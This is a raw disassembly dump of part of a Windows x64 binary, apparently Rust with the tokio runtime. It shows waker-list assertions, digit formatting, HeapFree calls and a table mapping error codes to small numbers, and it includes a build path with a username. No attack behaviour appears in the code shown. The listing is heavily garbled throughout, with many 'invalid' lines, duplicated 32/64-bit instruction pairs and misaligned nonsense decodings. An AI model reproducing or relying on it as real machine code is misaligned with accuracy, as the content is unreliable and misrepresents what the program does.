jne case.0x14007edf4.482
mov rdx, rbx
cmp qword [rbx], rcx
jne 0x140098736
test esp, esi
add byte [rax], al
invalid
test esp, esi
add byte [rax], al
add byte [rbx + rcx*4 + 1], cl
mov r8, qword [rcx]
mov qword [rdx], r8
mov dword [rdx], eax
movups xmmword [rcx], xmm6
adc dword [rcx], esi
mov rdx, qword [rcx + 0x10]
mov edx, dword [rcx + 0x10]
mov r8, qword [rcx + 0x18]
mov qword [rcx + 0x10], 0
adc byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rdi + rdi*8 - 1], cl
invalid
invalid
invalid
je 0x1400985b0
invalid
invalid
inc esi
sub byte [r9], al
sub byte [rcx], al
mov byte [rcx + 0x28], 1
sub byte [rcx], al
add dword [rax - 0x75], ecx
mov rcx, qword [rsp + 0x228]
mov word [rax + rbp], fs
add al, byte [rax]
add byte [rax - 0x7d], cl
cmp rcx, 0x20
jae case.0x140083a4f.266
jle 0x140098679
add byte [rax], al
shl rcx, 4
cmp rcx, 0x20
jae case.0x140083a4f.266
jle 0x140098679
add byte [rax], al
shl rcx, 4
mov qword [rsp + rcx + 0x28], rdx
mov qword [rsp + rcx + 0x30], r8
sub byte [rcx + rcx*4 + 0x44], cl
or al, 0x30
mov rcx, qword [rsp + 0x228]
inc rcx
mov qword [rsp + 0x228], rcx
cmp rcx, 0x20
jb case.0x14007e3f3.514
add al, byte [rax]
add byte [rax - 0x7d], cl
stc
and byte [rdi], cl
invalid
nop word cs:[rax + rax]
mov al, 1
lock cmpxchg byte [rsi + 0x18], bpl
sbb byte [rbp + 0x60], dh
outsb dx, byte [rsi]
sbb byte [rbp + 0x60], dh
invalid
mov r12, qword [rsp + 0x228]
movsb byte [rdi], byte [rsi]
and al, 0x28
add al, byte [rax]
add byte [rcx - 0x7d], cl
invalid
invalid
cld
cmp r12, 0x20
ja case.0x14008387e.434
add byte [rax], al
and byte [rdi], cl
xchg dword [rdx], edx
add dword [rax], eax
invalid
adc al, byte [rcx]
add byte [rax], al
add byte [rbp - 0x7b], cl
test r12, r12
test esp, esp
in al, 0x74
je case.0x1400826b1.418
sub eax, 0x246c8d4d
dec dword [rcx - 0x3f]
shl r12, 4
lea r13, [r12 - 1]
lea ebp, [rsp - 1]
insb byte [rdi], dx
and al, 0xff
shl r12, 4
shl esp, 4
add al, 0x4d
add esp, esi
hlt
add r12, r14
hlt
nop dword [rax]
invalid
add byte [rcx + rcx*4 - 0x54], cl
mov qword [rsp + 0x228], r13
and al, 0x28
add al, byte [rax]
add byte [rcx - 0x75], cl
and al, 0xf8
add byte [rax], al
mov rax, qword [r12 - 8]
mov eax, dword [rsp - 8]
mov rcx, qword [r12]
call qword [rax + 8]
add r12, 0xfffffffffffffff0
add r13, 0xffffffffffffffff
invalid
push qword [rdx - 0x1e]
invalid
xor eax, eax
lock cmpxchg byte [rsi + 0x18], r15b
cmpxchg byte [rsi + 0x18], r15b
cmpxchg byte [rsi + 0x18], r15b
cmpxchg byte [rsi + 0x18], bh
jle 0x14009871e
je 0x140098593
test byte [rdi + 0x48fffffe], al
lea ecx, [rsi + 0x18]
invalid
invalid
invalid
invalid
lea rcx, [rsi + 0x18]
sbb al, r13b
sbb al, ch
call fcn.1400abd20
or esi, dword [rsi]
add dword [rax], eax
add dword ss:[rax], eax
jmp 0x140098593
invalid
lea rcx, [rsi + 0x18]
lea ecx, [rsi + 0x18]
call fcn.1400ab9b0
mov r12, qword [rsp + 0x228]
cmp r12, 0x20
jbe 0x1400986cc
and al, 0x28
add al, byte [rax]
add byte [rcx - 0x7d], cl
cld
and byte [rsi - 0x65], dh
jmp case.0x14008387e.434
add byte [rcx], dh
leave
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x18], cl
add eax, esi
cmpxchg byte [rsi + 0x18], cl
mov al, 0x4e
sbb byte [rbp + 0x7f], dh
jne 0x1400987c0
mov rax, qword [rsp + 0x228]
mov eax, dword [rsp + 0x228]
sub byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x7d], cl
cmp rax, 0x20
ja case.0x14008387e.434
clc
and byte [rdi], cl
xchg dword [rbx + 0x48000000], ecx
add byte [rax], al
test rax, rax
test eax, eax
je case.0x140088c0a.401
xor al, 0x48
lea rsi, [rax - 1]
lea esi, [rax - 1]
jo 0x14009875b
dec dword [rax - 0x3f]
loopne 0x140098764
invalid
shl rax, 4
lea rcx, [rsp + 0x28]
and al, 0x28
add al, 0x48
lea ecx, [rsp + 0x28]
and al, 0x28
and al, 0x28
lea rdi, [rax + rcx]
or byte [rax - 0x7d], cl
add rdi, 0xfffffffffffffff8
nop dword [rax]
invalid
invalid
xbegin 0x18809a680
invalid
add byte [rax - 0x77], cl
mov ah, 0x24
invalid
mov qword [rsp + 0x228], rsi
mov dword [rsp + 0x228], esi
and al, 0x28
add al, byte [rax]
invalid
sub byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdi - 8]
clc
mov rcx, qword [rdi]
mov ecx, dword [rdi]
call qword [rax + 8]
add rdi, 0xfffffffffffffff0
add edi, 0xfffffff0
push rax
or byte [rax - 0x7d], cl
invalid
invalid
add edi, 0xfffffff0
add rsi, 0xffffffffffffffff
jb 0x140098770
push qword [rdx - 0x1c]
movaps xmm6, xmmword [rsp + 0x230]
mov ah, 0x24
xor byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x7f], cl
invalid
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsi + 0x18]
call fcn.1400abd20
add dword [rax], eax
sbb al, r13b
outsd dx, dword [rsi]
xor eax, 0xf6400001
add dword [rax], eax
test dil, 5
jne 0x140098502
test dword [rdi - 3], eax
invalid
invalid
invalid
jg case.0x140083d73.294
add dword [rax], eax
test dil, 5
jne 0x140098502
test dword [rdi - 3], eax
invalid
invalid
test dword [rdi - 3], eax
invalid
jmp 0x14009853f
invalid
add rsi, 0x18
mov rcx, rsi
mov ecx, esi
invalid
sbb byte [rax - 0x77], cl
int1
call fcn.1400ab9b0
in al, 0x31
add dword [rax], eax
invalid
mov rax, qword [rsp + 0x228]
cmp rax, 0x20
cmp eax, 0x20
add byte [rax - 0x7d], cl
clc
cmp eax, 0x20
and byte [rdi], cl
jbe case.0x140083924.320
xchg byte [rbp - 1], dh
jne case.0x14008387e.286
invalid
invalid
lea rcx, str.assertion_failed:_self.curr___NUM_WAKERS
lea ecx, str.assertion_failed:_self.curr___NUM_WAKERS
xor al, 5
add byte [rbp + rcx*4 + 5], cl
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcutilwake_list.rs
mov edx, 0x29
add byte [rax], al
invalid
cld
xor al, 5
add byte [rdx + 0x29], bh
add byte [rax], al
add al, ch
invalid
add byte [rax], al
call fcn.1400aa0a0
stosb byte [rdi], al
sbb byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
ud2
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcutilwake_list.rs
add eax, 0x534a1
movabs eax, dword [0x20ba000534]
mov edx, 0x20
call fcn.1400a9fa0
ud2
invalid
xchg edi, eax
invalid
or ecx, esp
int3
int3
int3
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x77], cl
mov rsi, rcx
mov rsi, rcx
mov esi, ecx
mov rdi, qword [rcx]
lea rcx, [rdi + 0x20]
and r8b, r13b
jnp 0x1400987d3
sti
invalid
cmp dword [rax - 0x73], ecx
and r8b, r13b
and al, ch
jnp 0x1400987d3
sti
dec dword [rax - 0x75]
mov rax, qword [rdi + 0x28]
sub r8b, r14b
lock dec qword [rax]
dec qword [rax]
jne 0x140098838
mov rcx, qword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
call fcn.1400100d0
dec dword [rbx + rcx*4 + 6]
mov r8, qword [rsi]
invalid
cmp r8, 0xffffffffffffffff
clc
push qword [rbp + rbx - 0x10]
sbb eax, 0x48ff49f0
invalid
je case.0x140083924.335
sbb eax, 0x48ff49f0
or byte [rbp + 0x16], dh
jne case.0x140083924.335
lock dec qword [r8 + 8]
dec dword [rax + 8]
jne case.0x140083924.335
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x28
invalid
invalid
or dword [rsi], eax
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
invalid
invalid
add esp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x17baa
and eax, 0x17baa
stosb byte [rdi], al
jnp case.0x140083924.335
invalid
add dword [rax], eax
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
int3
int3
int3
int3
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x75], cl
mov rdx, qword [rcx]
mov edx, dword [rcx]
adc dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
sal byte [rbx + rbp + 0x48], cl
je 0x1400988a7
sub ecx, dword [rax - 0x39]
mov rax, 0xffffffffffffffc0
mov eax, 0xffffffc0
rol al, 0xff
invalid
sar bh, 0xff
invalid
push rax
xadd qword [rdx], rax
invalid
invalid
lock xadd qword [rdx], rax
rol dword [rdx], 0x48
cmp rax, 0x3f
cmp eax, 0x3f
clc
invalid
jbe case.0x14008387e.446
invalid
and rax, 0xffffffffffffffc0
loopne 0x140098852
ror byte [rax - 0x7d], 0xf8
cmp rax, 0x40
cmp eax, 0x40
clc
jne 0x1400988a7
jne 0x1400988a7
cmovs ecx, dword [rbx + 0x418b4809]
mov rcx, qword [rcx]
or dword [rax - 0x75], ecx
mov rax, qword [rcx + 0x10]
add rsp, 0x28
invalid
sub byte [rax - 1], cl
invalid
invalid
adc byte [r8 - 0x7d], cl
adc byte [rax - 0x7d], cl
invalid
adc byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
invalid
invalid
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea ecx, str.assertion_failed:_prev.ref_count_____1
or eax, 0x55194
xchg esp, eax
push rcx
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1400eda70]
add eax, 0x551b5
mov ch, 0x51
add eax, 0x27ba00
add byte [rax], al
add byte [rdx + 0x27], bh
mov edx, 0x27
add byte [rax], al
add al, ch
invalid
fist dword [rdi]
invalid
call fcn.1400aa0a0
invalid
add dword [rax], eax
ud2
or ecx, esp
int3
int3
int3
int3
int3
int3
sub rsp, 0xb8
mov eax, 0x49000000
add byte [rax], al
add byte [rcx - 0x77], cl
mov r10, rdx
mov edx, edx
ror byte [rax - 0x75], cl
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
invalid
invalid
add dword [rbx - 0x3e09cbb6], ecx
xor al, 0xf6
rcl dword [rax], 0xf
adc byte [rdi], cl
test cl, 0x10
adc byte [rdi], cl
jne case.0x140083a4f.306
test ebx, edx
rol dword [rax], cl
add byte [rax], al
invalid
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
and byte [rdi], cl
test cl, 0x20
and byte [rdi], cl
jne case.0x140084700.246
test dword [rsi], ecx
invalid
add dword [rax], eax
add byte [rbx + 0x27b808], cl
mov ecx, dword [rax]
mov eax, 0x27
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
cmp rcx, 0x2710
cmp ecx, 0x2710
stc
adc byte [rdi], ah
invalid
invalid
add byte [rax], al
jb case.0x140084700.254
invalid
add dword [rax], eax
add byte [rcx - 0x45], al
invalid
invalid
invalid
add byte [rax], al
mov r11d, 0x27
mov ebx, 0x27
add byte [rax], al
add byte [rcx - 0x48], cl
invalid
invalid
pop r9
pop rcx
add byte [rax], al
movabs r8, 0x346dc5d63886594b
mov eax, 0x3886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x4c
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or eax, 0x4df81
sbb edi, 0x48900004
fild word [rax + rax]
add al, 0
add byte [rax + 0x49c88948], dl
nop
mov rax, rcx
mov eax, ecx
enter 0xfffffffffffff749, 0xffffffffffffffe0
mul r8
mul eax
shr rdx, 0xb
shr edx, 0xb
or ebp, dword [rcx - 0x3e]
imul eax, edx, 0x2710
adc byte [rdi], ah
invalid
add byte [rax], al
add byte [rcx + 0x69c629ce], cl
mov esi, ecx
invalid
sub esi, eax
invalid
imul edi, esi, 0x147b
invalid
jnp 0x14009894c
adc al, 0
add byte [rax], al
add cl, al
shr edi, 0x13
imul eax, edi, 0x64
invalid
sub esi, eax
out dx, eax
adc ebp, dword [rbx - 0x39]
invalid
sub esi, eax
invalid
movzx esi, si
test byte [rcx - 0x73], 0x43
lea rax, [r11 - 4]
cld
cld
movzx edi, word [r9 + rdi*2]
movzx edi, word [rcx + rdi*2]
mov bh, 0x3c
cmp al, 0x79
jns case.0x140083a4f.301
mov word [rsp + r11 + 0x34], di
mov dword [rsp + r11 + 0x34], edi
mov dword [rsp + rbx + 0x34], edi
jl case.0x14008387e.323
sbb al, 0x34
xor al, 0x41
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
xor al, 0x71
jno case.0x140084d72.283
mov word [rsp + r11 + 0x36], si
mov dword [rsp + r11 + 0x36], esi
mov dword [rsp + rbx + 0x36], esi
sbb al, 0x36
mov r11, rax
mov r11, rax
mov ebx, eax
ret
cmp rcx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
stc
jmp rax
loopne case.0x14008387e.305
cmc
add eax, 0x77d18948
mov rcx, rdx
mov ecx, edx
ja case.0x140083a4f.273
mov dl, 0x48
cmp rdx, 0x63
cmp edx, 0x63
cli
invalid
jbe 0x1400989a5
xor dword [rdi], ecx
mov bh, 0xca
invalid
movzx ecx, dx
retf 0xe9c1
shr ecx, 2
add ch, byte [rcx - 0x37]
imul ecx, ecx, 0x147b
jnp case.0x140084700.253
adc al, 0
add byte [rax], al
add cl, al
jmp 0x10174cd97
adc dword [rbx + rbp*2 - 0x3f], eax
shr ecx, 0x11
adc dword [rbx + rbp*2 - 0x3f], eax
imul r8d, ecx, 0x64
shl dword [rsp + rax*2 + 0x29], 0xc2
sub edx, r8d
sub edx, r8d
sub edx, eax
ret 0xb70f
movzx edx, dx
mov bh, 0xd2
ror byte [rbp + rcx*4 + 5], cl
or al, 0xdf
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add eax, 0x4df0c
add al, 0
movzx edx, word [r8 + rdx*2]
movzx edx, word [rax + rdx*2]
push rax
mov word [rsp + rax + 0x36], dx
mov dword [rsp + rax + 0x36], edx
push rsp
add al, 0x36
invalid
add rax, 0xfffffffffffffffe
add rax, 0xfffffffffffffffe
sar dh, 0x48
dec byte [rax - 0x77]
mov rdx, rcx
mov edx, ecx
retf 0x8348
cmp rdx, 0xa
cmp edx, 0xa
cli
or cl, byte [rdi]
invalid
jae 0x140098aa0
xor ecx, 0
add byte [rax], al
add byte [rax + 0x548830c2], al
add dl, 0x30
invalid
push rsp
add byte [rax], al
add dl, 0x30
ret 0x8830
mov byte [rsp + rax + 0x37], dl
push rsp
add al, 0x37
invalid
dec rax
enter 0xfffffffffffff6e9, 0
jmp case.0x14008537a.200
test byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x7e47bef0], cl
mov edx, dword [rax]
adc byte [rcx - 0x48], al
mov r8d, 0x81
add dword [rax], 0x30b80000
add byte [rax], al
add byte [rax + 0x30], bh
mov eax, 0x30
add byte [rax], al
add byte [rcx - 0x77], al
mov r9d, edx
nop
mov r9d, edx
nop
mov rcx, r8
mov ecx, eax
shr r9d, 4
shr ecx, 4
jmp 0x11092cade
mov r8d, edx
mov eax, edx
and r8b, 0xf
and al, 0xf
cmovno eax, dword [rax - 0x44bef508]
cmp r8b, 0xa
mov r11d, 0x57
mov ebx, 0x57
clc
or al, byte [rcx - 0x45]
mov ebx, 0x57
push rdi
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
invalid
invalid
cmovb r11d, eax
cmovb ebx, eax
fadd dword [rbp]
add r11b, r8b
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
mov byte [rsp + rcx + 0x36], bl
pop rsp
or al, 0x36
lea r8, ss:[rcx - 1]
lea r8, [rcx - 1]
lea eax, [rcx - 1]
inc dword [r11 - 0x76bbef06]
cmp edx, 0x10
adc byte [rcx + rcx*4 - 0x36], al
mov edx, r9d
retf 0xd073
jae 0x1400989d0
shr bl, 1
jmp 0x140098a50
mov r10, qword [rax]
mov edx, dword [rax]
adc byte [rcx - 0x48], al
mov r8d, 0x81
mov eax, 0x30
xor byte [rax], al
add byte [rax], al
invalid
add dword [rax], 0x30b80000
add byte [rax + 0x30], bh
add byte [rax], al
add byte [rcx - 0x77], al
mov r9d, edx
nop word cs:[rax + rax]
mov r9d, edx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r8
add byte [rax], al
mov rcx, r8
mov ecx, eax
shr r9d, 4
shr ecx, 4
add al, 0x41
mov eax, edx
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
cmp al, 0xa
cmovno eax, dword [rax - 0x44bef508]
cmp al, 0xa
clc
or al, byte [rcx - 0x45]
invalid
invalid
mov r11d, 0x37
mov ebx, 0x37
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
invalid
invalid
add byte [rax], al
cmovb r11d, eax
cmovb ebx, eax
fadd dword [rbp]
fadd dword [rbp]
add r11b, r8b
ret
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r8, [rcx - 1]
lea eax, [rcx - 1]
cmp edx, 0x10
mov edx, r9d
jae 0x140098a20
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x80
ja case.0x14008537a.174
mov word [rax], es
add byte [rax], al
invalid
add byte [rax], 0
add byte [rdi], cl
xchg dword [rax + rax - 0x7e480000], ecx
mov word [rax], es
add byte [rax], al
invalid
invalid
invalid
mov word [rax], es
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x81], bh
mov eax, 0x81
add byte [rax], al
add byte [rcx + rbp - 0x40], cl
sub rax, r8
add byte [rax], al
sub rax, r8
sub eax, eax
add rcx, rsp
add ecx, esp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
cmp byte [rax - 0x77], cl
mov dword [rsp + 0x28], eax
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea r8, [0x1400e3859]
lea eax, [0x1400e3859]
mov r9d, 2
mov rcx, r10
mov ecx, edx
mov dl, 1
add ebx, ebp
invalid
mov rdx, rcx
cmp rdx, 0x63
ja case.0x140083ded.252
invalid
jmp 0x1400989a5
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
stc
fld qword [rax + rax]
movzx ecx, word [rcx + rdx*2]
push rcx
mov word [rsp + rax + 0x36], cx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
or al, 4
add rcx, 0x38
add ecx, 0x38
mov edx, 0x27
invalid
add byte [rax], al
sub rdx, rax
sub edx, eax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
sub byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
sbb dword [rax + 5], 0
add byte [rcx + rcx*4 - 0x2f], cl
mov rcx, r10
mov ecx, edx
sal dword [rdx - 0x36cebaff], 1
mov dl, 1
add dword [rbp + 0x31], eax
xor r9d, r9d
leave
call fcn.1400417b0
invalid
cli
call qword [rax - 0x473b7eb8]
nop
invalid
invalid
invalid
invalid
add byte [rax], al
nop
add rsp, 0xb8
pop rdi
mov eax, 0x5f000000
add byte [rdi + 0x5e], bl
pop rsi
ret
lea r8, [0x1400d8b18]
mov edx, 0x80
add byte [rax], al
invalid
call fcn.1400a9f20
ud2
add byte [rax], al
cmp rsi, 0xffffffffffffffff
cmp esi, 0xffffffff
je 0x140098b36
lock dec qword [rsi + 8]
jne 0x140098b36
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
invalid
ror byte [rcx - 0x77], cl
invalid
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
add esp, 0x20
invalid
pop rsi
ret
int3
sub rsp, 0x20
sub esp, 0x20
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
invalid
cmp qword [rcx], 0
cmp dword [rcx], 0
cmp dword [rax], eax
add byte [rax + 0x75023879], al
cmp byte [rcx + 0x38], 2
cmp byte [rdx], al
add dh, byte [rbp + 0x18]
jne case.0x14008537a.186
sbb byte [rax - 0x75], cl
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec qword [rax]
or al, r14b
or al, dh
dec qword [rax]
dec dword [rax]
jne 0x140098bb9
pop rbp
mov rcx, qword [rsi + 8]
add rsp, 0x20
pop rsi
jmp fcn.14007bf80
xor al, 0xfe
invalid
cmp qword [rsi + 0x10], 0
je 0x140098b84
mov r8, qword [rsi + 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
invalid
jl case.0x140088c0a.105
invalid
sar bh, cl
adc eax, 0x17884
test byte [rax + 1], bh
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
test byte [rax + 1], bh
add byte [rax - 0x7d], cl
cmp qword [rsi + 0x20], 0
jle 0x140098ba8
add byte [rbx + rdx + 0x4c], dh
je 0x140098b9e
mov r8, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x1786a
add dword [rax], eax
mov rax, qword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
lock dec qword [rax]
jne 0x140098bb9
or byte [rbp + 0x11], dh
add rsi, 0x30
mov rcx, rsi
xor byte [rax - 0x77], cl
int1
add rsp, 0x20
pop rsi
invalid
jmp fcn.140010380
idiv edi
nop
add rsp, 0x20
pop rsi
ret
and byte [rsi - 0x3d], bl
loopne 0x140098bc8
lea rdx, [0x1400f0e60]
lea edx, [0x1400f0e60]
xchg esp, eax
invalid
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
sar bh, 1
loopne 0x140098be5
invalid
jmp rax
movzx eax, byte [rcx + 0x10]
ret
mov dh, 0x41
adc bl, al
movzx eax, byte [rcx + 0xf]
mov dh, 0x41
movnti dword [rax - 0x3f], ecx
ret
invalid
invalid
ret
shr rcx, 0x20
mov al, 1
invalid
jmp 0xc10b3c06
add dword [rcx + 0x3e2f9], eax
cmp ecx, 0x3e2
loop 0x140098bec
add byte [rax], al
add byte [rsi + 0x47], bh
jle 0x140098c34
cmp r9d, 0x271c
cmp ecx, 0x271c
invalid
jle 0x140098c56
lea edx, [rcx - 0x271d]
xchg ecx, eax
jrcxz case.0x14008e1bd.117
invalid
cmp edx, 0x34
cli
xor al, 0xf
invalid
ja case.default.0x140098c12
xchg ecx, edi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1400f133c]
lea ecx, [0x1400f133c]
or eax, 0x58731
movsxd rdx, dword [rcx + rdx*4]
xchg ecx, eax
add rdx, rcx
jmp rdx
shr rcx, 0x20
cmp ecx, 0x28
sub byte [rdi], cl
invalid
scasb al, byte [rdi]
add dword [rax], eax
invalid
stc
sub byte [rdi], cl
xchg dword [rsi + 0x48000001], ebp
lea rax, [0x1400f0e70]
lea eax, [0x1400f0e70]
invalid
movsxd rcx, dword [rax + rcx*4]
mov byte [rax + 1], cl
add rcx, rax
sar edi, 0xe1
jmp rcx
mov al, 1
ret
lea edx, [rcx - 2]
cmp edx, 0x109
add dword [rax], eax
add byte [rdi], cl
xchg dword [rcx], edi
invalid
ja case.default.0x140098c51
cmp dword [rcx], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x582ca
retf 0x582
invalid
lea rcx, [0x1400f0f14]
retf 0x582
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
invalid
jle 0x140098c8f
cmp ecx, 0x1b7f
sbb eax, dword [rax]
add byte [rdi + 0x5f], bh
jg 0x140098cc5
cmp ecx, 0x1715
stc
adc eax, 0xf000017
invalid
add byte [rax], al
invalid
add byte [rax], al
jg 0x140098d91
invalid
add byte [rax], al
cmp ecx, 0x50f
stc
syscall
invalid
add byte [rax], al
je case.0x140098c2f.26
cmp ecx, 0x5b4
je case.0x140098c12.10060
jmp case.0x140098c51.4
cmp ecx, 0x46a
jle case.0x140090852.83
cmp ecx, 0x4ce
jg case.0x140098bd3.8
invalid
cld
add byte [rax], al
invalid
cmp ecx, 0x46b
add al, 0
add byte [rdi], cl
test dh, al
invalid
je case.0x140098c2f.30
mov byte [rax], 0
add byte [rax], al
add byte [rcx + 0x476f9], al
cmp ecx, 0x476
add al, 0
add byte [rdi], cl
test dword [0xf0098cc1], ecx
add dword [rax], eax
invalid
invalid
jne case.0x140098c51.4
add dword [rax], eax
add byte [rax + 0x21b0c320], dh
mov al, 0x20
ret
mov al, 0x21
mov al, 0x20
ret
and bl, al
mov al, 0x21
ret
cmp ecx, 0x2021
jg case.0x140098bd3.26
cmp ecx, 0x1b80
je case.0x140098c12.10060
cmp ecx, 0x1f4e
stc
invalid
add byte [rax], al
je case.0x140098c12.10060
test al, ah
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp case.0x140098c51.4
fiadd word [rax]
add byte [rax], al
mov al, 0x26
ret
mov al, 0x18
ret
mov al, 0xc
ret
mov al, 0x14
ret
mov al, 0xb
ret
lea eax, [rcx - 0x3c2a]
cmp eax, 2
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
cmp ecx, 0x35ed
je case.0x140098c12.10060
mov cl, 0
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jmp case.0x140098c51.4
scasd eax, dword [rdi]
add byte [rax], al
add byte [rcx + 0x3e3f9], al
invalid
stc
jrcxz 0x140098d24
add eax, dword [rax]
cmp ecx, 0x3e3
add byte [rdi], cl
test byte [rax - 0x7f000000], ah
add byte [rax], al
add byte [rcx + 0x41df9], al
add byte [rdi], cl
je case.0x140098c12.10060
cmp ecx, 0x41d
je case.0x140098c12.10060
test byte [rax + rax - 0x67f0000], dl
cmp ecx, 0x461
stc
invalid
add byte [rax], al
je case.0x140098c12.10060
test byte [rax - 0x17000000], cl
add byte [rax], al
jmp case.0x140098c51.4
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax + 0x3b0c302], dh
mov al, 2
ret
mov al, 3
ret
mov al, 6
ret
mov al, 7
ret
mov al, 8
ret
mov al, 9
ret
mov al, 0xa
ret
mov al, 0xd
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x24
ret
mov al, 0x19
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1b
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
cmp ecx, 0x150
je case.0x140098c2f.15
push rax
add dword [rax], eax
add byte [rdx + rcx - 0x7f], dh
stc
push rdx
add al, byte [rax]
add byte [rbp + rdi - 0x15], dh
mov al, 0xf
mov al, 0xf
cmp ecx, 0x252
je case.0x140098c12.10060
jmp case.0x140098c51.4
mov al, 0xf
ret
cmp ecx, 0x1716
je case.0x140098c12.10060
cmp ecx, 0x1b64
je case.0x140098c12.10060
jmp case.0x140098c51.4
cmp ecx, 0x4cf
je case.0x140098c12.10051
add al, 0
add byte [rbx + rcx - 0x7f], dh
stc
rol byte [rax + rax], 1
add byte [rbp + 0x19], dh
cmp ecx, 0x4d0
jne case.0x140098c51.4
mov al, 4
ret
mov al, 5
ret
cmp ecx, 0x2022
je case.0x140098c12.10060
and byte [rax], al
add byte [rax + rcx - 0x7f], dh
cmp ecx, 0x25e9
stc
jmp 0x1b5098ded
add byte [rax], al
invalid
add byte [rax], al
jne case.0x140098c51.4
add esi, dword [rax + 0x28b0c316]
mov al, 0x16
ret
mov al, 0x28
ret
mov al, 0x29
ret
mov al, 0x12
ret
mov al, 0x13
ret
mov al, 0x15
ret
mov al, 0x17
ret
mov al, 0x1d
ret
mov al, 0x22
ret
mov al, 0x23
ret
mov al, 0x25
ret
mov al, 0x27
ret
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
